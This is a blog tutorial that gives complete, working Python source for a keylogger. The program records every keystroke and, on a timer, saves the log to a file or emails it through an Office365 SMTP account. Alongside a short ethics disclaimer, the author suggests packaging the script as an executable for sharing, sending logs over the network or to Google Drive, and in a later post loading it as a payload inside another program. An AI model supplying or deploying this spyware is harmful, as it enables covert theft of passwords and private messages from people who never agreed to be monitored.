Build a Python Keylogger
Ready to delve into the world of Python programming? In this tutorial, we will explore the creation of a keylogger – a surveillance tool designed to monitor and record every keystroke on a computer's keyboard.
It's essential to note that while keyloggers have legitimate uses like monitoring employee productivity or parental control, they can be misused by hackers to capture sensitive information.
Our goal is to equip you with the knowledge to create and analyze keyloggers for educational purposes and to raise awareness about their capabilities and associated risks.
Prerequisites
Before we begin, you'll need to install the **keyboard**
module. Open your terminal or command prompt and enter:
Before installing any library, set your project in a venv (virtual environment); this would limit dependency issues.
First, create a folder.
mkdir keylogger
Next, we would cd into the keylogger directory and create a virtual environment python -m venv myenv
.
Activate the Virtual environment source myenv/bin/activate,
and then we can install dependencies.
$ pip install keyboard
This module allows us to take control of the keyboard, hook global events, register hotkeys, simulate key presses, and more.
Setting Up the Keylogger
Let's initialize the required parameters:
import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
SEND_REPORT_EVERY = 60 # in seconds, reporting interval
EMAIL_ADDRESS = "blackbird001@duck.com"
EMAIL_PASSWORD = "your_email_password"
Replace **your_email@example.com**
and **your_email_password**
with your actual email credentials.
Now, we'll create a class to represent the keylogger:
class Keylogger:
def __init__(self, interval, report_method="email"):
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
The **interval**
parameter represents the reporting frequency, and **report_method**
specifies whether to send logs via email or save them to a local file.
Listening to Keystrokes
We'll utilize the **keyboard**
module's **on_release()**
function to capture keystrokes:
def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name
This callback function is invoked whenever a key is released. It transforms special keys and adds them to the global **self.log**
variable.
Reporting Keystrokes
Depending on the chosen **report_method**
, we can report the keystrokes either via email or save them to a local file:
def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def sendmail(self, email, password, message, verbose=1):
# SMTP server connection and email sending logic
# ...
The **report_to_file()**
method saves the key logs to a local file, while **sendmail()**
sends the logs via email.
Scheduling Reports
To ensure periodic reporting, we'll use a timer:
def report(self):
if self.log:
self.end_dt = datetime.now()
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()
This method is called at regular intervals (**self.interval**
) to report the accumulated keystrokes.
Starting the Keylogger
Finally, we initiate the keylogger with the following code:
def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
print(f"{datetime.now()} - Started keylogger")
keyboard.wait()
This **start()**
method records the start time, sets up the keylogger, and waits for the user to press CTRL+C to exit the program.
Putting It All Together
Now, let's instantiate the **Keylogger**
class and start the keylogger:
if __name__ == "__main__":
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Uncomment the line with **report_method="email"**
if you prefer to receive reports via email.
To get it started, run sudo python nameoffile.py. If
you run this without side you will get an error.
Once approved, I can control and see what the user is doing. Cool, right?
Once I start typing, my keylogger saves my keystrokes in a file.
Find the entire code here.
import keyboard
import smtplib
from threading import Timer
from datetime import datetime
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
# Installation of required module
# $ pip install keyboard
# Parameters
SEND_REPORT_EVERY = 60 # in seconds, reporting interval
EMAIL_ADDRESS = "email@provider.tld"
EMAIL_PASSWORD = "password_here"
class Keylogger:
def __init__(self, interval, report_method="email"):
self.interval = interval
self.report_method = report_method
self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()
def callback(self, event):
"""
This callback is invoked whenever a keyboard event is occurred
(i.e., when a key is released in this example)
"""
name = event.name
if len(name) > 1:
# not a character, special key (e.g ctrl, alt, etc.)
# uppercase with []
if name == "space":
# " " instead of "space"
name = " "
elif name == "enter":
# add a new line whenever an ENTER is pressed
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
# replace spaces with underscores
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
# finally, add the key name to our global `self.log` variable
self.log += name
def update_filename(self):
# construct the filename to be identified by start & end datetimes
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
"""This method creates a log file in the current directory that contains
the current keylogs in the `self.log` variable"""
# open the file in write mode (create it)
with open(f"{self.filename}.txt", "w") as f:
# write the keylogs to the file
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")
def prepare_mail(self, message):
"""Utility function to construct a MIMEMultipart from a text
It creates an HTML version as well as a text version
to be sent as an email"""
msg = MIMEMultipart("alternative")
msg["From"] = EMAIL_ADDRESS
msg["To"] = EMAIL_ADDRESS
msg["Subject"] = "Keylogger logs"
# simple paragraph, feel free to edit
html = f"<p>{message}</p>"
text_part = MIMEText(message, "plain")
html_part = MIMEText(html, "html")
msg.attach(text_part)
msg.attach(html_part)
# after making the mail, convert back as a string message
return msg.as_string()
def sendmail(self, email, password, message, verbose=1):
# manages a connection to an SMTP server
# in our case, it's for Microsoft365, Outlook, Hotmail, and live.com
server = smtplib.SMTP(host="smtp.office365.com", port=587)
# connect to the SMTP server as TLS mode (for security)
server.starttls()
# login to the email account
server.login(email, password)
# send the actual message after preparation
server.sendmail(email, email, self.prepare_mail(message))
# terminates the session
server.quit()
if verbose:
print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
def report(self):
"""
This function gets called every `self.interval`
It basically sends keylogs and resets `self.log` variable
"""
if self.log:
# if there is something in log, report it
self.end_dt = datetime.now()
# update `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
# if you don't want to print in the console, comment the below line
print(f"[{self.filename}] - {self.log}")
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
# set the thread as daemon (dies when the main thread dies)
timer.daemon = True
# start the timer
timer.start()
def start(self):
# record the start datetime
self.start_dt = datetime.now()
# start the keylogger
keyboard.on_release(callback=self.callback)
# start reporting the keylogs
self.report()
# make a simple message
print(f"{datetime.now()} - Started keylogger")
# block the current thread, wait until CTRL+C is pressed
keyboard.wait()
if __name__ == "__main__":
# if you want a keylogger to send to your email
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()
Conclusion
Congratulations! You've just created a basic keylogger in Python. Remember that ethical considerations are crucial, and using keyloggers on systems without proper authorization is strictly prohibited.
Extend your knowledge by exploring additional functionalities, such as sending logs across a network or using APIs like Google Drive to upload logs.
If you plan to share your keylogger, consider converting the script into an executable using tools like PyInstaller.
Use this knowledge responsibly, as this is purely for educational purposes. In our next article, I will show you how to load it as a payloader in an executable program.
If you like my work and want to help me continue dropping content like this, buy me a cup of coffee.
If you find this post exciting, find more exciting posts on Learnhub Blog; we write everything tech from Cloud computing to Frontend Dev, Cybersecurity, AI, and Blockchain.
Resource
Subscribe to my newsletter
Read articles from Scofield Idehen directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
Scofield Idehen
Scofield Idehen
Smart Contract Dev || Cloud || Cyber-security || Every thing else is just hobbies